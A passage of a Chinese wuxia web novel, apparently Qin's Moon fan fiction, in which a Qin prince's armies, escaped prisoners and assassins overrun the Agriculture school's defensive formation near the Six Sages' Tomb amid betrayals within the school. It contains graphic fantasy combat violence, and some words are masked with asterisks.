田言剑招凌厉,惊鲵剑寒光如电,却每一次都被拂尘丝精准缠住剑锋,寸寸化去力道。
逼得她紫瞳微缩,心生惊骇!
“阿赐!分开!”
田言轻喝,紫影疾退,试图绕开盖聂与逍遥子的锋芒。
然而白雾之中,两位高手如影随形,剑气与拂尘封**她所
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有的退路!!
眼看二人就要陷入绝境。
烈山堂的十余名亲信弟子怒吼着从侧翼扑来!
他们刀枪并举,想以人海之势冲散剑阵!!!
“找死!”
逍遥子手腕一抖,拂尘银丝骤然炸开,化作漫天飞针,瞬间洞穿数人的护甲。
将他们逼得连连后退,鲜血染红山道。
盖聂随即也是一剑平推!
剑锋未至,剑意先落!!
三名烈山堂弟子连兵刃都握不稳,直接被震飞,撞断两株古松,口吐鲜血昏死过去。
就在此时。
远处传来脚步轰鸣,共工堂的数百名弟子蜂拥而至!!!
他们手持长戟与**车,井然有序地列成数层战阵,硬生生在山道上形成一道铜墙铁壁!
“放!”
机关**箭破空而来,密如骤雨,配合长戟步步压迫,将盖聂与逍遥子生生围困在阵中!
盖聂剑光纵横,木剑在**雨中舞出一片空白。
剑身微颤间,数根**箭被切成两截!
逍遥子长袖一拂,真气裹着拂尘,将射来的钢矢尽数弹飞,落地时已成扭曲的废铁。
尽管二人依旧如入无人之境,但持续的人海冲击让他们无法立即突破。
田言见机,拉住田赐的手,带着数名心腹从侧翼杀出,趁着共工堂弟子纠缠二人之际,迅速撤入林中。
身影,在白雾深处消失无踪。
……
山腰下。
吴旷与胜七率着三十七名旧部,连夜奔至魁隗堂。
堂门半掩,院落内静得出奇,唯有风卷残叶在青石板上滚动。
两人对视一眼,心中同时升起不祥的预感。
“来晚了。”胜七低声道。
吴旷缓缓推开大门,眼前是空无一人的堂室,连平日的香炉都已冷却。
这意味着,魁隗堂的人根本不在这里。
“朱堂主先前就安排过,若事不可为,立刻去六贤冢!”吴旷沉声说道。
胜七点头,当即转身招呼众人。
三十七名旧部迅速结阵,借着夜色,悄然消失在山道之中!
……
山巅之上。
赢子夜负手而立,玄色衣袍在风中猎猎作响,衣摆上暗绣的金纹在晨光中流转,宛如活物。
他指尖轻抚腰间玉珏,听着暗河探子的汇报,唇角渐渐勾起一抹意味深长的弧度。
“六贤冢?”
他轻声呢喃,声音低沉如古井无波。
“炎帝墓葬……”
身后三步处,少司命紫纱轻扬,清冷的眸子望向远处云雾缭绕的山谷。
晓梦倚在古松旁,拂尘银丝无风自动,嗤笑道。
“怎么?堂堂大秦公子,也对那些江湖传说感兴趣?”
赢子夜没有回头,只是缓缓抬起右手。
晨光透过他修长的指缝,在地上投下斑驳的光影。
这一刻,他整个人仿佛与天地融为一体,连山风都为之凝滞!!!
“传说炎帝六贤冢中,藏着神农鼎。”
他指尖突然燃起一缕金焰,火光中隐约可见鼎形虚影。
“得之可炼百草,活**…生白骨!”
昭鞅单膝跪地,铁面具折射着冷光。
“主上,王离将军已按您的命令,将百战穿甲兵推进至农家外围。”
赢子夜掌心金焰骤然暴涨,又瞬间熄灭。
他转身时,衣袍上的玄鸟纹路仿佛活了过来,一双眸子深不见底。
“传令。”
仅仅两个字,却让在场众人不自觉地绷直了脊背!!
第161章 手段齐出!
“百战穿甲兵分三路推进。”
赢子夜的声音不疾不徐,却字字如铁:“东路由王离亲自率领,直取六贤冢。”
晓梦挑眉。
“你这是要趁火**?”
赢子夜轻笑一声,袖中滑出一枚青铜虎符。
“农家十万弟子,与其让他们自相残杀,不如……”
虎符在他掌心化为齑粉,随风飘散。
“由本公子来收编!!!”
少司命突然抬眸,紫瞳中闪过一丝波动。
赢子夜似有所感,侧首看她。
“夫人觉得不妥?”
面纱微动,少司命终究没有出声。
山下突然传来震天的战鼓声。
赢子夜负手走向崖边,俯瞰着如蚁群般推进的黑色军阵。
拂晓的那一抹光,照在他棱角分明的侧脸上,投下深邃的阴影。
“告诉王离。”
他声音陡然转冷。
“凡负隅顽抗者——”
山风骤起,卷起他垂落的发丝。
这一刻,他周身散发的气势竟让晓梦都不自觉地后退半步。
“杀!!!”
一个字,重若千钧。
昭鞅躬身领命,铁面具下的眼中燃起嗜血的光芒。
就在他转身欲走时,赢子夜又淡淡补充。
“对了,六贤冢中的东西……”
他指尖轻叩崖边青石,石面顿时龟裂出蛛网般的纹路。
“本公子也要亲自去取。”
远处,第一缕阳光刺破云层,正好照在赢子夜身上。
玄色衣袍上的金纹在这一刻光芒大盛,恍如神祇临世!
少司命不自觉地抬手遮眼,恍惚间竟看到赢子夜身后浮现出一道模糊的玄鸟虚影。
晓梦拂尘猛地一甩,银丝根根直立。
赢子夜回眸一笑,那笑意却未达眼底:“怎么?晓梦大师也有害怕的时候?”
山下的战鼓声越来越近,惊起漫天飞鸟。
赢子夜转身望向六贤冢方向,衣袂翻飞间,整个人如一把出鞘的利剑…
锋芒毕露。
……
大泽山脚下。
晨雾还未散尽,地平线上突然出现了一道黑线。
那黑线如潮水般缓缓推进,所过之处草木低伏,鸟兽惊散。
“咚。”
“咚。”
“咚。”
沉闷的战鼓声穿透雾气,震得山石簌簌滚落。
随着鼓点渐密,黑线逐渐显露出真容——
那是数以千计的百战穿甲兵,银色铠甲在晨光中泛着冷冽的寒光!
为首的方阵中,士兵们头戴狰狞虎首面具,每踏一步,地面都为之震颤。
他们肩扛公输家特制的穿甲**,精钢打造的霸道机关箭在箭槽中泛着幽蓝的光芒。
“停!”
王离一抬手,玄色大氅在风中猎猎作响。
他胯下战马不安地刨着蹄子,喷出团团白气。
“将军,前方二十里就是农家六贤冢范围。”
副将狼贲单膝跪地,声音嘶哑。
“探子来报,朱家残部已经退入其中。”
王离眯起眼睛,虎头盔下的目光如刀。
“可有抵抗?”
“田虎和田言的人马正在**,不过形势僵持。”
狼贲禀报道:“而且朱家那边的神农堂弟子正跟魁隗堂的人拼得很凶,伤亡惨重。”
“哼。”
王离冷笑一声,手指摩挲着马鞭,声音冷硬如铁:“传令!火攻,逼他们出来。”
狼贲应声而去,不多时,山道尽头已升起滚滚浓烟……
突然,地面微微震动!
远处山道上,数十头披甲战象缓步而来,象背上的蚩尤堂弟子挥舞着青铜长矛,发出野性的嚎叫!
“是农家的象兵!”
豹韬惊呼。
王离却连眼皮都没抬一下。
“**车准备。”
随着他一声令下,军阵后方传来齿轮转动的咔咔声。
十架巨型**车被推上前来,每架**车上都架着三支丈余长的破甲箭,箭头上泛着诡异的绿色——
那是公输家特制的**。
“放!”
“嗖。”
“嗖。”
“嗖。”
破空声撕裂晨雾,**如流星般划过天际。
冲在最前面的战象被当胸贯穿,哀嚎着跪倒在地!
象背上的农家弟子还没反应过来,第二波箭雨已经降临。
“举盾!变阵!”
王离厉喝。
前排士兵齐刷刷举起玄铁重盾,瞬间结成铜墙铁壁。
后方弓**手分成三列,轮番射击。
箭矢如暴雨倾泻,将冲锋的象兵钉死在山道上。
浓烟中,听闻了战报即刻赶下来的田虎,正挥舞着虎魄剑冲杀出来。
“秦狗!你们竟敢。”
话音未落,三支**箭成品字形射来。
田虎仓皇格挡,还是被一支箭擦过脸颊,顿时血流如注!
“将军神射!”
狼贲兴奋地大喊。
就在这时,山顶突然传来一阵奇异的嗡鸣。
六道颜色各异的光柱冲天而起,在空中交织成巨大的神农鼎虚影!
“六贤冢开启了!”
豹韬失声叫道。
王离猛地拔出佩剑!
“全军听令!推进至六贤冢外一里处,结阵围困!凡有出入者——”
他剑锋所指,数千张机关**同时上弦,发出令人牙酸的咯吱声。
“格杀勿论!”
大军如黑色潮水般向山上涌去。
所过之处,无论是田虎的蚩尤堂弟子还是朱家的残部,都在箭雨下溃不成军!
山道上的血腥味越来越浓。
百战穿甲兵的铁靴踏过满地箭矢和尸体,银色铠甲上溅满鲜血。
王离眯起眼睛,突然抬手示意全军止步!
“不对劲。”
他低声道,手指无意识地摩挲着剑柄。
话音刚落,最前排的士兵突然发出惨叫,他们的影子活了!!
漆黑的影子里伸出利刃,瞬间割断了数名士兵的喉咙!
“那是什么?!”
狼贲怒吼着拔出战刀。
树影中闪过数道黑影,易容改扮的转魄、灭魂姐妹如同鬼魅般在军阵中穿梭!
她们的双剑快得看不清轨迹,每次寒光闪过,必有一名士兵捂着喷血的喉咙倒下。
“结阵!”
王离厉喝。
盾墙刚刚成型,地面突然炸裂。
乱神从地底破土而出,乱神剑横扫,三名持盾士兵连人带盾被拦腰斩断。
鲜血喷溅在银色铠甲上,显得格外刺目。
就在这危急时刻,山崖上突然射下数十支漆黑箭矢!
箭头上缠绕着诡异的绿色火焰!!
“啊!”
一名罗网**被箭矢贯穿胸膛,绿色火焰瞬间将他吞噬。
他疯狂拍打着火焰,却见那火越烧越旺,转眼间就将他烧成一具焦尸。
“噬牙狱的焚心箭……”
乱神瞳孔骤缩。
“赢子夜的人来了!”
阴影中走出数十名身披黑甲的死士,每
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个人脸上都戴着狰狞的铁面具!
为首的昭鞅舔了舔短刀上的血迹,声音沙哑。
“一群杂碎,好久不见啊。”
与此同时,另一群衣衫褴褛的凶徒从另一侧的密林中冲出!
他们手脚戴着断裂的镣铐,脚踝上还拖着长长的铁链,在地面划出刺耳的摩擦声。
每一双眼睛都泛着病态的猩红光芒,像是嗅到了血的野兽。
为首的独眼大汉狞笑着,脚下猛地一踏,泥土炸开!!!
他整个人化作一头脱缰的野牛,直扑向前方一名农家中层高手!
“老子在噬牙狱关了十年,今天总算能开荤了!”
那农家弟子正要举刀格挡,却只听“喀嚓”一声,独眼大汉的铁指竟直接捏断了刀身!
下一瞬,他五指插入对方胸腔,将那颗仍在跳动的心脏硬生生掏了出来,当场咬碎,血水顺着下巴流淌!
混战瞬间爆发!
暗河死士如同鬼魅般收割着罗网**的性命。
而噬牙狱的囚犯们则像饿狼般扑向农家的中层强者!
一名农家刀客怒吼着冲上来,刀光如瀑!
但还未落下,另一名光头囚犯已悄然欺至背后,手中锁链如**蛇缠绕住他的脖子!
猛地一拧!!!
只听“咔嚓”一声脆响!
脑袋歪成了诡异的角度。
尸体被随手抛出,砸翻三人。
而另一个年轻农家弟子刚举起锄头,就被独眼大汉徒手撕成两半!
“痛快!”
大汉满嘴是血地狂吼,脚下又一踏,整个人撞进人群,所到之处血肉横飞!
有囚犯抓住一名农家弓手的双臂,像拧布条一样将骨头折断,惨叫声戛然而止。
另一名高瘦囚犯干脆咬住敌人的喉咙,直接撕下一大块血肉,像野狗一样咀嚼吞咽!
短短数息,山道上已是横尸遍地!!!
空气中弥漫着浓烈的血腥味与焦灼的杀气,压得幸存者连呼吸都变得艰难。
王离冷眼看着这一切,突然抬手一箭,箭矢破空而出,钉穿了一名试图偷袭的罗网**眉心!
“全军听令,稳步推进。”
他嘴角勾起一抹冷意:“这些疯子……就让他们狗咬狗。”
……
而在山道另一端,胜七与吴旷带着三十七名旧部疾行而来。
远远便听见震天的厮杀声与浓烈的血腥气!!
他们的脚步不由自主慢了下来,目光凝重如山!
两名噬牙狱的凶徒忽然从乱军之中瞥见这边的人影,顿时嚎叫着冲了过来,像饿狼一般扑向猎物!
胜七眼中寒光一闪,竟不闪不避,迎面踏出一步。
赤手探出,如擒鹰搏兔般抓住第一个凶徒的脖颈!!!
“咔嚓!”
那人头颅连带着半截脊骨被硬生生扯下,鲜血如喷泉般溅在山道上。
另一名凶徒原本正要冲上来,待看清他的面孔时,眼中骤然闪过惊恐的光!
“你是…胜——”
他话未说完,双腿便软得跪倒在地,身体止不住地发抖。
“饶命……七哥饶命啊……”
胜七神情冷漠,手臂一抖,直接将他拍得脑骨尽碎,血肉模糊地倒在地上。
吴旷走到他身边,低声道:“计划可能已经失败了。”
“想不到这里还有秦军,我们不能再轻易露面了。”
胜七沉默片刻,点了点头。
两人退入一处岩壁阴影中,压低声音商议着下一步的计划……
第162章 地泽二十四大阵!
山巅石墩上。
赢子夜斜倚着天子剑,执一尊青铜酒樽,琥珀色的酒液在晨光中泛着粼粼波光!
远处喊杀声隐约可闻,他却连眼皮都未抬一下。
“你倒是沉得住气。”
晓梦拂尘一甩,银丝缠上亭柱。
“下面卖命的可都是你的人。”
赢子夜轻啜一口酒,喉结微动。
“王离若连这点场面都应付不了,也不配统领百战穿甲兵。”
少司命紫纱微动,指尖已凝出三片青叶。
赢子夜忽然抬手,酒樽轻轻碰了碰她的腕间玉镯。
“夫人何必着急?”
玉镯相击,发出清脆声响。
少司命指尖青叶倏然消散,面纱下的唇微微抿起。
“多看看再说。”
赢子夜将残酒倾倒在地,酒液渗入泥土的瞬间,山下突然传来震天**声!!!
那是公输家的机关雷火弹!
晓梦挑眉。
“你连这个都给了王离?”
赢子夜笑而不答,只是又斟满一樽。
玄色衣袖翻飞间,山下火光映亮他半边脸庞,明暗交错中宛如神魔。
远处,一群黑影正悄然向六贤冢潜行。
那是赵戈苍的铁面具在闪光。
“看,”
他举樽遥指。
“螳螂捕蝉。”
酒液荡漾,倒映出漫天血光。
……
六贤冢北侧,数里之外,厮杀声震天。
田蜜慵懒地倚在一棵古树上,红唇吐出一缕粉色烟圈,眯着眼看向远处升起的硝烟。
“啧啧,看来我们的小把戏被人看穿了呢~”
她烟杆轻点,指向山下混战的军阵。
“王离的穿甲兵,还有一群疯子和杂碎…真是热闹。”
这时。
田虎扛着虎魄剑大步走来,只受了些皮肉之伤,身上血气冲天,右眼上的伤疤狰狞可怖。
“**,老子要一个个剁了他们!”
田言紫衣翩跹,带着田赐,安静地站在一旁。
她指尖无意识地摩挲着惊鲵剑柄,面纱下的表情晦暗不明。
“报——!”
一名魁隗堂弟子跌跌撞撞跑来。
“山下出现大批黑衣人,见人就杀!我们布置的毒障被破了三处!”
“还有…还有那剑圣盖聂和人宗掌门,正被共工堂的弟子们缠住,但他们也拖不了太多时间!”
田蜜手中烟杆一顿,娇媚的笑容僵在脸上。
“什么?”
田虎暴怒地一脚踹断身旁的小树。
“废物!都是废物!老子再去一趟,会会他们!!!”
“二叔且慢。”
田言突然开口,声音轻柔却不容置疑。
“当务之急,是尽快解决朱家,取得侠魁令。”
田蜜眯起眼睛打量她。
“小言儿倒是镇定得很呢~”
田言紫瞳微闪,面纱下的唇角勾起一抹苦笑。
赢子夜竟未将这般大的动作告知于她。
但转念一想,这本就是意料之中。
“蜜姨,”
她轻声道。
“山下之敌来势汹汹,不如由您率领魁隗堂弟子,以地泽二十四大阵配合毒雾阻拦,我与二叔尽快解决朱家,夺得侠魁令后,再调集精锐弟子**。”
田虎眼睛一亮,虎魄剑重重插在地上。
“好主意!老子早就想宰了那个戴面具的矮子了!”
田蜜烟杆轻敲下巴,若有所思地看着田言。
“小言儿今日怎么这般积极?莫不是…”
她突然凑近,红唇几乎贴上田言的面纱。
“另有所图?”
田言纹丝不动,紫瞳平静如水。
“蜜姨说笑了,农家危在旦夕,言儿身为烈山堂主,自当尽心。”
“好一个尽心~”
田蜜娇笑着退开,眼中却闪过一丝阴冷。
“那就依你所言,不过…”
她突然甩出三枚银针钉在田言脚前。
“若让我发现有人背后捅刀子…”
银针上的毒液瞬间将地面腐蚀出三个黑洞!!
田言面不改色地跨过银针。
“蜜姨多虑了。”
远处又传来一阵**声,火光映红了半边天空。
田蜜啧了一声,扭着腰肢走向林外。
“魁隗堂的,跟老娘走!让那些官爷尝尝农家的厉害!”
待她走远,田虎迫不及待地拽起田言!
“走走走!赶紧去宰了朱家那个老东西!”
田言轻轻挣开他的手。
“二叔先行一步,言儿随后就到。”
田虎不满地嘟囔着,但还是扛着剑大步离去。
田言独自站在原地,从袖中取出一枚青玉符箓,指尖轻抚过上面暗刻的玄鸟纹。
“既然要表忠心…”
她轻声自语。
“那便做得彻底些。”
符箓在她掌心闪闪发亮,不知是在传讯给谁。
……
山脚下,浓绿色的毒雾如活物般翻涌,将整条山路笼罩得严严实实。
王离勒住战马,抬手示意全军止步。
他眯眼望去,只见雾气中隐约可见农家弟子穿梭的身影,二十四道气机在毒雾中交织成网。
“将军,这雾有毒!”
狼贲捂着口鼻后退两步,脸色已经有些发青。
话音刚落,前排几名士兵突然栽倒在地,铠甲缝隙里渗出黑血。
他们的皮肤以肉眼可见的速度溃烂,转眼间就化作了森森白骨!
“退!全军后撤!”
王离厉声喝道,额头青筋暴起!
毒雾中传来田蜜娇媚的笑声。
“王将军怎么不进来坐坐?奴家备了好酒呢~”
随着她的笑声,雾气骤然翻腾,二十四名农家弟子从不同方位现身。
他们脚下踏着奇异步法,手中兵器闪烁着幽蓝光芒!
正是淬了剧毒的标志!!!
“地泽二十四!”
豹韬失声惊呼。
“是当年困杀武安君的杀阵!”
王离脸色阴沉如水。
他亲眼见过军报记载,当年白起就是被这阵法困住,最终力竭而亡。
如今阵法虽由普通弟子施展,但配合这诡异毒雾,威力同样不容小觑。
“放箭!”
他咬牙下令。
箭雨呼啸而出,却在触及毒雾的瞬间被腐蚀殆尽。
雾气中,惊蛰位的少女双刀轻挥,竟引下一道闪电,将数架**车劈得粉碎。
“没用的~”
田蜜的声音从四面八方传来。
“这毒雾可是用百越蛇毒配制的,专门对付你们这些铁罐头~”
王离握紧缰绳,指节发白。
他从未想过,自己引以为傲的百战穿甲兵,竟会被一群农家弟子拦在山脚不得寸进。
……
山巅之上,赢子夜负手而立,玄色衣袍在风中猎猎作响。
他眯眼看着山下翻腾的毒雾,以及雾气中若隐若
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现的农家弟子身影。
那些普通弟子按二十四节气方位站立,竟将王离的百战穿甲兵逼得寸步难进。
“地泽二十四…”
赢子夜指尖轻叩栏杆。
“当年困杀武安君的大阵,果然名不虚传。”
晓梦冷哼一声,拂尘银丝无风自动:“区区农家把戏,也配与白起相提并论?”
赢子夜唇角微扬。
“那晓梦大师可愿替本公子一试此阵深浅?”
“正有此意。”
晓梦白衣飘飞,一步踏出已至半空!!
“让这些乡野村夫见识见识,什么才是真正的天道!”
少司命紫纱轻动,指尖凝出三片青叶。
赢子夜却抬手制止。
“让晓梦先去。”
他眼中金芒流转。
“本公子也想看看,这阵法究竟有何玄妙。”
……
山下,田蜜慵懒地倚在一棵古树上,红唇吐出一缕粉色烟圈。
她眯眼看着轻盈无声,从天而降的白衣女子,先是瞳孔一缩,然后强自镇定下来,娇笑道。
“哟,这不是天宗的晓梦大师吗?什么风把您吹到这穷乡僻壤来了?”
晓梦拂尘一甩,银丝如瀑。
“废话少说,让本座见识见识你们的地泽二十四。”
田蜜眼中寒光一闪,烟杆轻挥。
“既然大师有兴趣…那便请入阵一叙!”
毒雾骤然翻涌,二十四名农家弟子瞬间变阵!
春分位的弟子长剑出鞘,剑气竟如春风化雨。
而冬至位的壮汉双锤砸地,寒气瞬间冻结方圆三丈。
晓梦冷哼一声,拂尘划出一道圆弧。
“大道无情!”
黑白二气席卷而出,却见阵法光芒大盛,二十四节气轮转,竟将她的道法生生抵消。
夏至位的弟子突然暴起,**如龙,枪尖带着灼热气浪直刺晓梦咽喉。
“雕虫小技。”
晓梦身形一闪,却在落脚时发现地面突然软化!
处暑位的弟子早已布下沼泽陷阱!
……
山巅上,赢子夜眼中精光闪烁。
“有意思,春生、夏荣、秋枯、冬灭…四象轮转,生生不息。”
少司命紫瞳微凝,看到晓梦的白衣已被毒雾染上点点暗斑。
她指尖青叶旋转,随时准备出手。
“别急。”
赢子夜按住她的手腕。
“晓梦还没动真格的。”
果然,阵中的晓梦突然轻笑一声。
“就这点本事?”
她拂尘突然炸开,万千银丝如暴雨般射向四面八方。
“万川秋水!!!”
二十四名弟子同时变阵,惊蛰位的少女双刀交错,竟引动天雷劈向银丝。
两股力量相撞,爆发出震耳欲聋的轰鸣。
田蜜脸色微变,烟杆急挥。
“变阵!冬灭主杀!”
阵法瞬间转为肃杀之势,霜降、大雪、冬至三位的弟子同时出手,寒气凝成冰刃,从三个刁钻角度袭向晓梦。
“砰!”
晓梦被逼退三步,袖口结出一层冰霜。
她眼中终于闪过一丝凝重。
“好一个地泽二十四…”
赢子夜见状,突然长笑一声。
“看来晓梦大师遇到麻烦了。”
他一步踏出,身形如大鹏展翅般掠向山下。
“本公子也来凑个热闹!”
少司命紫纱飞扬,毫不犹豫地跟了上去。
第163章 此子身怀帝王之气!!!
赢子夜踏入毒雾的刹那。
二十四道气机如毒蛇般缠绕而来!
他玄色衣袍无风自动,金纹在雾气中忽明忽暗,宛如活物。
“夫君小心!”
少司命紫纱翻飞,万**花流将袭来的三枚**绞成齑粉!
赢子夜却恍若未闻,信步走向阵眼。
毒雾在他周身三尺外便再难寸进,仿佛被无形的屏障隔绝。
他指尖轻抚过一缕飘至眼前的雾气,竟露出欣赏之色。
“百越蛇毒混入惊蛰雨露,倒是别出心裁。”
惊蛰位的少女闻言脸色骤变,双刀交错引动天雷劈落!
电光触及赢子夜发梢的瞬间,他微微抬眸。
“轰!”
雷霆竟倒卷而回,将少女轰飞数丈。
她撞断三棵古松才止住去势,口中鲜血狂喷。
“春生夏长,秋收冬藏…”
赢子夜缓步前行,脚下所过之处毒雾退散。
“二十四节气轮转,确实暗合天道。”
田蜜在阵外看得真切,手中烟杆“咔”地折断。
“变阵!冬灭主杀!”
二十四名弟子同时喷出一口精血,阵法光芒暴涨。
霜降、大雪、冬至三位的壮汉联手出击,寒气凝成冰龙直扑赢子夜心口!
少司命正要出手,却见赢子夜袖袍轻拂。
那条冰龙突然定格在半空,继而寸寸崩裂!!!
飞溅的冰晶非但没有坠落,反而悬浮在他周身,折射出七彩光芒。
“冬灭之气,不过如此。”
赢子夜轻笑一声,指尖轻点虚空。
那些冰晶突然调转方向,以更凌厉的势头射向二十四位布阵弟子。
“噗噗噗——”
血花在雾气中绽放。
处暑位的弟子捂着咽喉倒下,寒露位的少女被冰晶贯穿眉心。
阵法顿时出现缺口,毒雾开始紊乱。
田蜜尖声厉喝。
“补位!快补位!”
赢子夜却已闭目而立,仿佛在感受阵法余韵。
他周身渐渐泛起淡金色光晕,脚下地面竟浮现出二十四道金色纹路。
正是地泽二十四的完整阵图!!!
“原来如此。”
他忽然睁眼,眸中金芒如炬。
“以二十四节气为引,借天地之力成阵。可惜…”
他抬脚轻轻一踏。
“咔嚓——”
整座大阵的金色纹路应声碎裂。
幸存的农家弟子同时喷血倒地,毒雾如潮水般退去。
王离的穿甲兵终于得以看清山道景象,却见满地尸骸中央,赢子夜负手而立,衣袍纤尘不染。
“阵是好阵。”
他对着奄奄一息的惊蛰位少女轻声道。
“只是你们…太弱了。”
少女惊恐地发现,自己苦修多年的内力正在飞速流逝——
竟是被对方生生抽离!!!
她挣扎着看向赢子夜的眼睛,那里面仿佛有金色漩涡在旋转。
……
百丈外。
岩缝阴影中,一直处于潜伏状态,戴着铁面具的掩日浑身紧绷。
他死死盯着那道玄色身影,面具下的瞳孔剧烈收缩。
方才那道破阵的金光,竟让他持剑的手不自觉地发抖!
“这是…什么**?”
掩日无声地喘息,内力在经脉中乱窜。
仅仅是远远感知到赢子夜的气息,就让他气海翻腾如沸。
赢子夜似有所觉,忽然转头望向掩日藏身的方向!
那一瞬间,掩日仿佛看到一双金色瞳孔穿透岩壁直视而来,惊得他险些暴露气息!!!
“有意思。”
赢子夜随手驾驭地上一柄破烂兵刃掷出,剑如虹贯日,深深没入岩壁!
“罗网的耗子,倒是比农家的有趣些。”
剑柄颤动的嗡鸣声中,掩日冷汗浸透后背。
他从未感受过如此恐怖的压迫感。
就像被洪荒巨兽盯上的猎物,连呼吸都成了奢望。
“夫君?”
少司命紫纱微动,指尖青叶流转。
赢子夜收回目光。
“无妨,一只藏头露尾的老鼠罢了。”
他拂袖转身,玄色衣袍上的金纹在夕阳下如活物般游动。
“去六贤冢。”
而岩缝后,掩日直到那道身影消失在山路尽头,才敢稍稍放松。
他颤抖着摘下面具,露出苍白如纸的脸。
面具内侧,竟已结了一层薄霜。
……
与此同时。
六贤冢深处,六盏青铜古灯突然无风自燃。
昏黄的灯光映照出六张苍老的面容,他们盘坐在石台上,衣袍上积着厚厚的灰尘,仿佛已经与这石室融为一体。
“地泽大阵
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…破了。”
兵主缓缓睁眼,声音嘶哑如砂石摩擦。
药王指尖轻颤,一粒丹药在掌心化为齑粉。
“是白起的后人?”
“不。”
历师抬头望向石室顶部,仿佛能透过岩壁看到外面的景象。
“是个年轻人…身上有帝王气。”
六人同时沉默。
谷雨位的长老突然剧烈咳嗽起来,咳出的血沫在空中凝结成诡异的符文。
“农家…要亡了?”
他喘息着问道。
门外传来急促的脚步声,一名浑身是血的弟子跌跌撞撞冲进来。
“长老!大事不好!王离的穿甲兵已经攻破三道防线,田蜜堂主生死未知!”
兵主猛地站起身,积尘簌簌落下。
“朱家呢?”
“朱堂主带着司徒**、典庆他们正在冢外不远处,但…”
弟子咽了口血沫。
“但田虎、田言和田赐都追上来了!”
六贤对视一眼,都看到对方眼中的凝重。
历师长叹一声。
“当年我们答应过神农老祖,不再插手农家事务…”
“管不了那么多了!”
兵主一把扯下身上蛛网般的旧袍,露出布满伤疤的精壮身躯。
“再不出手,农家就真要灭门了!!!”
药王颤巍巍地站起身,从怀中掏出一个玉瓶。
“老夫这‘回天丹’藏了三十年…”
“等等!”
“外面那个年轻人。”
谷雨位长老突然打断道:“他破阵用了多久?”
弟子脸色惨白。
“三…三息…”
石室内死一般寂静。
六盏古灯的火焰同时矮了半截。
“结阵。”
兵主突然厉喝。
“地泽二十四!生死轮回!!!”
六道苍老的身影瞬间移位,各自站在石室六个角落。
他们脚下的青砖浮现出繁复的符文,整个六贤冢开始微微震颤。
“既然要出手…”
历师干枯的手指结出一个古老的手印。
“就让世人再见识见识,什么叫真正的农家阵法!”
石室顶部突然炸裂,六道身影冲天而起。
远处正在交战的双方同时抬头,只见六道流光划过天际,所过之处云层退散,竟在半空留下一道久久不散的痕迹。
第164章 没办法,公子给的实在是太多了!
此刻,天穹之上。
六贤长老凌空而立。
兵主声如洪钟,震得山石簌簌。
“农家弟子听令!即刻停战,共御外敌!!”
朱家脸色凝重,静默地看着六位长老现身。
而刚追上来不久的田虎不甘地吼道:“长老!朱家那老贼就在前面,让我…”
“闭嘴!”
药王袖袍一挥,一枚丹药精准地射入田虎口中,硬生生堵住了他的话。
“再敢内斗,老夫先废了你!”
场中一时寂静。
紧接着,田言也紫衣翩跹的赶来,恭敬地向六贤行礼。
“弟子谨遵长老之命。”
就在六贤离开不久,异变陡生!!
田言袖中突然射出三枚银针,直取田虎咽喉!
田虎仓皇闪避,仍被一针擦过脸颊,顿时黑血直流。
“**!你疯了?!”
田虎虎魄剑横扫,剑气将地面犁出深沟。
天赐抱着布娃娃,茫然地眨着眼。
“姐姐?为什么打二叔?”
田言紫瞳中寒光流转。
“阿赐,还记得爹爹是**的吗?”
她声音轻柔如呢喃:“就是二叔和田蜜…联手害死的。”
“放屁!”
田虎暴怒:“大哥明明是…”
“够了。”
田言突然扯下面纱,露出与母亲惊鲵七分相似的容颜。
“二叔不过也只是想趁此机会争夺侠魁之位,以为别人不知道吗?”
田虎瞳孔骤缩,持剑的手微微发抖。
天赐突然扔了布娃娃,憨傻的脸上第一次露出狰狞!
“二叔…杀爹爹?”
他手腕一翻,干将莫邪双剑已然在手。
“阿赐要报仇!!!”
“动手!”
田言一声令下,身后蛰伏许久的烈山堂弟子们突然从四面八方涌出,向昔日的盟友砍去!!!
其中,梅三娘金钟罩全开,更是硬生生撞向前方护持着朱家的典庆。
“对不住了师兄!”
场中瞬间大乱。
朱家捂着渗血的肩膀踉跄后退,那张“哀”字面具已经碎裂大半,露出底下不敢置信的苍老面容。
“田言丫头…什么时候有这等实力了?”
“因为她已经投靠了六公子!”
司徒**的冷笑声从背后传来。
朱家还未反应过来,一柄短剑已经刺入他的后腰!
他踉跄转身,铜钱面具下的眼睛瞪得滚圆。
“司徒…你?!”
司徒**把玩着染血的铜钱,脸上再不见往日的圆滑笑容。
“老朱啊老朱,你真以为我会跟你一条道走到黑?”
铜钱突然爆射而出,朱家仓皇闪避,仍被划破脸颊。
“堂主!!!”
远处典庆一声怒吼,突然单膝跪地,浑身肌肉诡异地抽搐起来,刀枪不入的身躯竟渗出点点黑血。
“师兄?”
梅三娘慌忙收招,却被典庆反手一掌震退。
“你的身体……”
“七日醉。”
司徒**慢条斯理地整理袖口。
“我亲手下的。”
“老典啊,这半个月的饭菜,可还合口味?”
典庆双目赤红,却连站立的力气都没有!
朱家浑身发抖,矮小的身躯爆发出骇人杀意!!!
“为什么?!”
“为什么?”
司徒**突然大笑,笑声中满是讥讽。
“因为她给的实在太多了!”
他指向远处紫衣翩跹的田言,手中不知何时正托着一枚青玉符箓。
正是赢子夜所赐的暗河的特殊传讯符!
刚才,正是田言传讯给他,并发出了让他收网的信号!!!
“六公子的承诺,可比你那张破面具值钱多了!”
朱家面具彻底碎裂,露出那张扭曲的老脸。
他猛地从怀中掏出一颗猩红丹药。
“老夫跟你拼了!”
“晚了。”
司徒**袖中滑出一柄短剑,寒光直取朱家咽喉。
“你的神农堂,早就被渗透成筛子了。”
就在这时。
血雾弥漫的山道上,突然传来一阵锁链拖地的声响。
十余名衣衫褴褛的凶徒从林间窜出,他们手脚上还挂着断裂的镣铐,眼中闪烁着野兽般的凶光。
“哈哈哈!新鲜的血肉!”
为首的独眼大汉狂笑着,一爪撕开一名农家弟子的胸膛!
“憋了十年,今天要杀个痛快!”
朱家强撑着身躯,面具早已粉碎的脸上血迹斑斑。
他环视四周,司徒**虎视眈眈,田密、田虎都被赢子夜布局所害。
而整个战场,那位六公子已经开始全面收网!
他麾下的**,还有这批带着锁链的疯子囚犯集体现身……
形势…万分危急!!
他一咬牙,干脆开始双手结印,身形瞬息化作数十道虚影。
“千人千面”绝学施展到极致!!!
独眼大汉怒吼着扑杀而来,铁爪划破空气,三道血痕几乎擦着朱家的真身而过,却只撕碎了一个虚影。
“嗯?”
独眼大汉独眼中凶
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光暴涨,像是被彻底激怒,猛地转身,扑入最近的一队农家精锐阵中!
铁爪翻飞,血肉横飞!
有人胸膛被贯穿,连惨叫都来不及发出!
